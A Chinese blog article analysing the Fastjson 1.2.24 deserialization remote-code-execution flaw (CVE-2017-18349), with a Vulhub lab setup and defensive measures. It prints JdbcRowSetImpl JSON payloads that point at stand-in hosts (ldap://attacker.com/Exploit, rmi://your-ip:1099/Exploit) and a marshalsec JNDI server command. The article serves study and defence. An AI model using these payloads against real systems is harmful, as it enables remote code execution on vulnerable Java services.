怎样进行Fastjson 1.2.24反序列化漏洞分析

发布时间:2021-12-14 09:39:17 作者:柒染
来源:亿速云 阅读:289
# 怎样进行Fastjson 1.2.24反序列化漏洞分析

## 目录
1. [漏洞背景与影响](#漏洞背景与影响)
2. [Fastjson基础原理](#fastjson基础原理)
3. [漏洞成因分析](#漏洞成因分析)
4. [漏洞复现环境搭建](#漏洞复现环境搭建)
5. [漏洞利用链构造](#漏洞利用链构造)
6. [漏洞防御方案](#漏洞防御方案)
7. [深度防御建议](#深度防御建议)
8. [相关工具与资源](#相关工具与资源)

---

## 漏洞背景与影响
Fastjson 1.2.24反序列化漏洞(CVE-2017-18349)是2017年曝出的高危漏洞,攻击者可通过精心构造的JSON数据实现远程代码执行(RCE)。该漏洞影响范围包括:
- 所有使用Fastjson ≤1.2.24的Java应用
- 默认配置下开启autoType功能的场景

### 典型攻击场景
```java
// 漏洞触发示例
String maliciousJson = "{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"ldap://attacker.com/exp\", \"autoCommit\":true}";
JSON.parse(maliciousJson); // 触发漏洞

Fastjson基础原理

核心机制

Fastjson通过@type关键字实现JSON到Java对象的转换:

public class User {
    private String name;
    // getter/setter...
}

// 反序列化过程
String json = "{\"@type\":\"com.example.User\",\"name\":\"test\"}";
User obj = JSON.parseObject(json, User.class);

autoType功能


漏洞成因分析

根本原因

Fastjson在反序列化时未充分验证@type指定的类,导致攻击者可以调用危险类的方法链(Gadget Chain)。

关键漏洞点

  1. JdbcRowSetImpl利用链

    graph LR
    A[JSON输入] --> B[解析@type指定类]
    B --> C[调用setDataSourceName]
    C --> D[触发JNDI查找]
    D --> E[远程加载恶意类]
    
  2. TemplatesImpl利用链

    • 通过字节码加载实现RCE

漏洞复现环境搭建

实验环境

# 使用Vulhub快速搭建
git clone https://github.com/vulhub/vulhub.git
cd vulhub/fastjson/1.2.24-rce
docker-compose up -d

验证步骤

  1. 准备攻击载荷:
{
  "@type":"com.sun.rowset.JdbcRowSetImpl",
  "dataSourceName":"rmi://your-ip:1099/Exploit",
  "autoCommit":true
}
  1. 启动JNDI服务:
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://your-ip/#Exploit"

漏洞利用链构造

典型Gadget组合

组件 作用
JdbcRowSetImpl 触发JNDI注入
TemplatesImpl 直接加载字节码
BasicDataSource 二次反序列化入口

攻击载荷示例

// JNDI注入方式
String payload = "{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\","
    + "\"dataSourceName\":\"ldap://attacker.com/Exploit\","
    + "\"autoCommit\":true}";

// 原生字节码加载方式
String payload2 = "{\"@type\":\"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl\"...}";

漏洞防御方案

官方修复方案

  1. Fastjson 1.2.25+ 默认关闭autoType
  2. 引入白名单机制:
ParserConfig.getGlobalInstance().addAccept("com.trusted.pkg.")

临时缓解措施

# 关闭autoType
fastjson.parser.autoTypeAccept=cn.trust.*
fastjson.parser.autoTypeSupport=false

深度防御建议

安全开发实践

  1. 使用最新Fastjson版本(当前≥1.2.83)
  2. 实现自定义反序列化过滤器:
public class SafeObjectCodec extends ObjectDeserializer {
    @Override
    public <T> T deserialze(...) {
        // 类型检查逻辑
    }
}

架构级防护

方案 实施要点
WAF防护 拦截包含@type关键字的请求
RASP防护 运行时检测反序列化行为
网络隔离 限制外连请求

相关工具与资源

检测工具

  1. fastjson-blacklist
  2. BurpFastjsonScan

学习资源


:本文仅用于安全研究学习,禁止用于非法用途。实际业务系统应升级至Fastjson最新安全版本。 “`

该文档包含: 1. 完整的漏洞分析技术细节 2. 可视化流程图(需支持mermaid渲染) 3. 实操复现步骤 4. 多维度防御方案 5. 工具资源索引

可根据需要扩展以下内容: - 增加其他利用链分析(如Rome链) - 添加实际案例分析 - 补充二进制字节码构造细节

推荐阅读:
  1. 怎么分析Fastjson 1.2.24-rce漏洞(CVE-2017-18349)复现
  2. 如何进行fastjson小于1.2.25版本反序列CVE-2017-18349漏洞分析

免责声明:本站发布的内容(图片、视频和文字)以原创、转载和分享为主,文章观点不代表本网站立场,如果涉及侵权请联系站长邮箱:is@yisu.com进行举报,并提供相关证据,一经查实,将立刻删除涉嫌侵权内容。

fastjson

上一篇:Pyecharts如何使用

下一篇:CFM和CEM有什么用

相关阅读

您好,登录后才能下订单哦!

密码登录
登录注册
其他方式登录
点击 登录注册 即表示同意《亿速云用户服务条款》